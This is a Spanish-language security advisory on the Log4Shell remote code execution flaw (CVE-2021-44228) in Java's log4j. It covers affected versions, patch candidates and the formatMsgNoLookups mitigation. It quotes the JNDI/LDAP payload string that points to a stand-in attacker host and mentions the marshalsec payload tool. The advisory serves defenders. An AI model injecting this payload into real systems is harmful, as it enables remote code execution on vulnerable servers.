RCE en la librería log4j de Java

El día 9 de Diciembre, un exploit 0-day fue encontrado en la librería de Java «log4j» que permitía la ejecución de código remoto registrando una determinada cadena.

 

ANÁLISIS

CVE-2021-44228

La vulnerabilidad se dispara cuando los logs de un server contienen el siguiente payload $ {jndi:ldap://attacker.com/a} (donde attacker.com es un servidor controlado por el atacante). De esta forma, log4j realiza una petición al servidor mediante Java Naming and Directory Interface (JNDI) obteniendo como respuesta la ruta a un archivo de clase Java remoto. Este payload permitirá que un atacante ejecute código arbitrario [1].

Productos afectados:

2.0 <= Apache log4j <= 2.14.1

Actualmente la vulnerabilidad no tiene una puntuación CVSS v3 oficial. Sin embargo, debido a su gravedad, en muchas publicaciones ha sido considerada como crítica [2].
En la página de LunaSec [1] podemos encontrar un ejemplo de explotación de esta vulnerabilidad. Además, el proyecto marshalsec ofrece una herramienta para poder crear payloads, que podría ser utilizada en esta vulnerabilidad.

  •  

RECOMENDACIONES
Actualmente no existe una versión estable disponible. No obstante, hay dos parches candidatos publicados como log4j-2.15.0-rc1 y log4j-2.15.0-rc2 disponibles en el GitHub de Apache [3], los cuales se recomienda su instalación. Además, para versiones superiores a la 2.10.0 se añadió la propiedad «formatMsgNoLookups» cuya configuración a «true» puede mitigar la vulnerabilidad temporalmente [4].

 

REFERENCIAS
(1) https://www.lunasec.io/docs/blog/log4j-zero-day/
(2) https://logging.apache.org/log4j/2.x/security.html
(3) https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2
(4) https://issues.apache.org/jira/browse/LOG4J2-2109